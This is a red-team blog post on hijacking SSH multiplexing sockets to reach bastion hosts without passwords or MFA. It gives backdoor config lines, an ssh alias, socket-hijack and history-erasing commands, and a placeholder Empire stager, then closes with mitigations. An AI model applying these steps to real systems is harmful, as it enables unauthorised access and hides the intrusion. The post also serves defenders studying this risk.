Bypassing Authentication on SSH Bastion Hosts



Предыдущая | Следующая

статья о том, что можно созжать бэкдор для ssh благодаря его возможности много подключений.

Bypassing Authentication on SSH Bastion Hosts

For any red teamer, SSH bastions (hosts that can control access between environments) can be difficult to compromise due to the use of multi-factor authentication (MFA) technologies. In a typical scenario, you may end up on a user’s host that has access to the bastion thanks to phishing or exploiting a vulnerability with the compromised user’s permissions. The normal course of action is to identify the privilege escalation vector in order to get root. This privilege escalation is not always a possibility, but using a method that takes advantage of an SSH feature called “multiplexing” can help with this pivoting.

SSH Multiplexing

SSH multiplexing is the ability to send multiple SSH connections using a single pre-existing connection. This is used in environments to improve efficiency and reduce resource load. This isn’t a new feature: there’s a detailed write-up in the OpenSSH Cookbook about how it works; HD Moore & Valsmith presented on the topic at DEF CON back in 2007.

The only major difference is that, today, SSH bastion hosts are heavily used in many production environments. These bastion servers will typically use a form of MFA that can be a major obstacle when attempting to pivot into sensitive areas of a network.

Setting up A Multiplexing Backdoor

In order to create a Multiplexing Back door, we need to modify the SSH configuration file (~/.ssh/config) of a targeted user who we know will access the bastion from our compromised host:

 

ControlMaster auto
ControlPath ~/.ssh/%r@%h:%p.connection
ControlPersist 480m

Breaking down this configuration change:

  •  The “ControlMaster auto” will determine whether or not to listen for any control connections.
  •  The “ControlPath” sets the location to which the socket will be stored, much like “/tmp/ssh-haer1337/agent.1337” is used for SSH auth sockets.
  •  The “ControlPersist” option sets the amount of time a session will remain active even when a SSH session is disconnected.

Alternatively, if you have sufficient privileges, you could modify the host-wide SSH configuration file (/etc/ssh/ssh_config) to include these settings and backdoor every SSH user on the system.


The alias for SSH can also be changed to do this, example of the command:

alias ssh='ssh -o “ControlMaster=auto” 
-o “ControlPath=~/.ssh/%h.c” -o “ControlPersist=60m”’

Once we have added these to the SSH configuration file, we can sit back and wait for our victim to connect back to an SSH server, which will hopefully be the bastion we want to gain access to.  We can then run the following command across the host or hosts that we have planted the backdoor for to identify any multiplexed sessions that are created:

ls –al ~/.ssh | grep “.sock” 

When we come across the sock file being created, we can then use the following command to SSH into the host. This allows us to gain access to the bastion server under the context of the user session without the need to know any of the required authentication information.

user@victim:~/.ssh$ ssh -S user\@bastion\:22.sock bastion
Last login: Wed Jan 31 15:25:34 2018 from 10.0.0.24
[user@bastion ~]$ export DELLENGTH=$(($HISTCMD - 1)); set +o history; history -d $DELLENGTH;
[user@bastion ~]$ hostname
bastion

This backdoor technique can be used to bypass all forms of authentication for SSH, including passwords, public keys, and MFA methods such as YubiKey or RSA SecurID. It can be used on any Linux or MacOS SSH client and is extremely useful when compromising engineers’ or developers' hosts.

Tool

NCC Group has developed a tool for automating this process called “SSHession”. SSHession allows for this backdoor to be applied to multiple hosts with ease, and for executing commands on hosts.

The following examples shows the tool being used to create a backdoor and then execute an Empire payload on the connected to host. First thing we need to do is generate a stager, we will use the “multi/launcher” for python:

echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode(SGVsbG8gZnJvbSBOQ0MgR3JvdXAhIFdlIHNlZSB3aGF0IHlvdSBkaWQgdGhlcmUsIG5vIEMyIGVuZHBvaW50cyBoZXJlIDstKSBXZSBhcmUgaGlyaW5nIGlmIHlvdXIgaW50ZXJlc3RlZCBwbGVhc2UgYXBwbHkgb25saW5lIGhlcmUgLSBodHRwczovL3d3dy5uY2Nncm91cC50cnVzdC91cy9hYm91dC11cy9jYXJlZXJzL2N1cnJlbnQtdmFjYW5jaWVzLyAtIEJlIHN1cmUgdG8gc2F5IHRoYXQgeW91IHRoaXMgYmxvZyB3YXMgdGhlIHJlYXNvbi4gV2UgbmVlZCB0byBidWZmIHRoaXMgb3V0IGEgbGl0dGxlIC4uLi4uLi4gIElmIHlvdSBmaW5kIHRoaXMgdHdlZXQgQGhhbGZwaW50c2VjIHNheWluZyAiSSBzZWUgd2hhdCB5b3UgZGlkIHRoZXJlIiBhbmQgYmUgc3VyZSB0byBoYXZlIGEgZ3JlYXQgZGF5ISE=));" | /usr/bin/python

Once we created this we can put this in a file on the host we plan to backdoor the SSH sessions on. We can run the SSHession with the –C flag to trigger the contents of the file to be executed on any backdoored session, for example:

The following shows the subsequent connections from the SSH session to our Empire server

The SSHession tool can be found at https://github.com/nccgroup/SSHession

What’s the Fix?

The fix will depend on your environment and business/operational requirements.
One method of preventing multiplexing server-side is to configure the SSH daemon to only allow a maximum session of one per user. This can be configured in “/etc/ssh/sshd_config” by adding the following line:

MaxSessions 1

The above fix may not work on hosts when users are required to login multiple times, such as for administration, but should be considered for any bastions or jump boxes being used to access critical hosts or environments. This fix doesn’t completely prevent multiplexing attacks. If the “ControlPersist” flag is used, it would be possible for an attacker to use this to gain access once the valid user’s session has expired.

On the server side, depending on the server’s use, one option could be using a cron job to execute a script to check for SSH sessions over 10 hours long and kill them.

Due to how this backdoor can be used, and that there is no server-side option to disable multiplexing, it is important for users accessing sensitive environments and hosts to understand the risks of this backdoor.

SSH prioritizes the configuration options in the following order:

  1. Options provided within the command (-o)
  2. Options within ~/.ssh/config
  3. Options within /etc/ssh/ssh_config

As a result, one possible mitigation is to modify the global aliases for the “ssh” command to ensure that the “ControlMaster”, “ControlPath” & “ControlPersist” options are configured to automatically disable their use.

alias ssh='ssh -o "ControlMaster=no" -o "ControlPath=/dev/null" -o "ControlPersist=0m"'

It should be noted that the above method could also be bypassed. Using all of the above methods provides some layers of defense and could help reduce the risk posed by this backdoor.


In conclusion, the SSH multiplexing method acts as nice way to bypass common authentication schemes in use if you have the required permissions on a host being actively used to access others. NCC Group has been proactively using this technique to gain access to sensitive hosts and environments such as those used for PCI or Production hosts.


Interested in a red team or attack simulation? Learn about our Full Spectrum Attack Simulation services via our website. 


[1] https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing
[2] https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf